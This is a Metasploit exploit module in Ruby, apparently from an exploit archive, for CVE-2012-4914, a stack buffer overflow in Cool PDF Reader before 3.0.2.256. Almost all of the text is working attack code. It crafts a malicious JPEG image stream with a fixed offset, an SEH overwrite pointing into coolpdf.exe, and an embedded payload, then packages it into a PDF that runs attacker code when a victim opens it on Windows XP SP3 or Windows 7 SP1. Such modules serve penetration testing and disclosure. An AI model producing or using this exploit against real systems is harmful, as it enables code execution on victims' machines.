Cool PDF Image Stream Buffer Overflow

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::PDF
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Cool PDF Image Stream Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Cool PDF Reader prior to version
				3.0.2.256. The vulnerability is triggered when opening a malformed PDF file that
				contains a specially crafted image stream. This module has been tested successfully
				on Cool PDF 3.0.2.256 over Windows XP SP3 and Windows 7 SP1.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Francis Provencher', # Vulnerability discovery
					'Chris Gabriel', # Proof of concept
					'juan vazquez' # Metasploit module
				],
			'References'     =>
				[
					[ 'CVE', '2012-4914' ],
					[ 'OSVDB', '89349' ],
					[ 'EDB', '24463' ],
					[ 'URL', 'http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=70&Itemid=70' ]
				],
			'Payload'        =>
				{
					'Space'       => 2000,
					'DisableNops' => true
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Cool PDF 3.0.2.256 / Windows 7 SP1 / Windows XP SP3',
						{
							'Offset' => 433,
							'Ret' => 0x00539fa4 # ppr from coolpdf.exe
						}
					]
				],
			'DisclosureDate' => 'Jan 18 2013',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ false, 'The output filename.', 'msf.pdf'])
			], self.class)
	end

	def exploit
		file_create(make_pdf)
	end

	def jpeg
		p = payload.encoded
		sploit =  "\xFF\xD8\xFF\xEE\x00\x0E\x41\x64" + "\x6F\x62\x65\x00\x64\x80\x00\x00"
		sploit << "\x00\x02\xFF\xDB\x00\x84\x00\x02" + "\x02\x02\x02\x02\x02\x02\x02\x02"
		sploit << "\x02\x03\x02\x02\x02\x03\x04\x03" + "\x03\x03\x03\x04\x05\x04\x04\x04"
		sploit << "\x04\x04\x05\x05\x05\x05\x05\x05" + "\x05\x05\x05\x05\x07\x08\x08\x08"
		sploit << "\x07\x05\x09\x0A\x0A\x0A\x0A\x09" + "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
		sploit << "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x01" + "\x03\x02\x02\x03\x03\x03\x07\x05"
		sploit << "\x05\x07\x0D\x0A\x09\x0A\x0D\x0F" + "\x0D\x0D\x0D\x0D\x0F\x0F\x0C\x0C"
		sploit << "\x0C\x0C\x0C\x0F\x0F\x0C\x0C\x0C" + "\x0C\x0C\x0C\x0F\x0C\x0E\x0E\x0E"
		sploit << "\x0E\x0E\x0C\x11\x11\x11\x11\x11" + "\x11\x11\x11\x11\x11\x11\x11\x11"
		sploit << "\x11\x11\x11\x11\x11\x11\x11\x11" + "\xFF\xC0\x00\x14\x08\x00\x32\x00"
		sploit << "\xE6\x04\x01\x11\x00\x02\x11\x01" + "\x03\x11\x01\x04\x11\x00\xFF\xC4"
		sploit << "\x01\xA2\x00\x00\x00\x07\x01\x01" + "\x01\x01\x01\x00\x00\x00\x00\x00"
		sploit << "\x00\x00\x00\x04\x05\x03\x02\x06" + "\x01\x00\x07\x08\x09\x0A\x0B\x01"
		sploit << "\x54\x02\x02\x03\x01\x01\x01\x01" + "\x01\x00\x00\x00\x00\x00\x00\x00"
		sploit << "\x01\x00\x02\x03\x04\x05\x06\x07"
		sploit << rand_text(target['Offset'])
		sploit << generate_seh_record(target.ret)
		sploit << p
		sploit << rand_text(2388 - p.length)
		return sploit
	end

	# Override the mixin obfuscator since it doesn't seem to work here.
	def nObfu(str)
		return str
	end

	def make_pdf
		@pdf << header
		add_object(1, nObfu("<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>"))
		add_object(2, nObfu("<</Type/Outlines>>"))
		add_object(3, nObfu("<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>"))
		add_object(4, nObfu("[/PDF/Text/ImageC]"))
		add_object(5, nObfu("<</Type/Page/Parent 3 0 R/Contents 6 0 R>>"))
		stream_1 = "stream" << eol
		stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol
		stream_1 << "endstream" << eol
		add_object(6, nObfu("<</Length 91>>#{stream_1}"))
		stream = "<<" << eol
		stream << "/Width 230" << eol
		stream << "/BitsPerComponent 8" << eol
		stream << "/Name /X" << eol
		stream << "/Height 50" << eol
		stream << "/Intent /RelativeColorimetric" << eol
		stream << "/Subtype /Image" << eol
		stream << "/Filter /DCTDecode" << eol
		stream << "/Length #{jpeg.length}" << eol
		stream << "/ColorSpace /DeviceCMYK" << eol
		stream << "/Type /XObject" << eol
		stream << ">>"
		stream << "stream" << eol
		stream << jpeg << eol
		stream << "endstream" << eol
		add_object(7, stream)
		finish_pdf
	end

end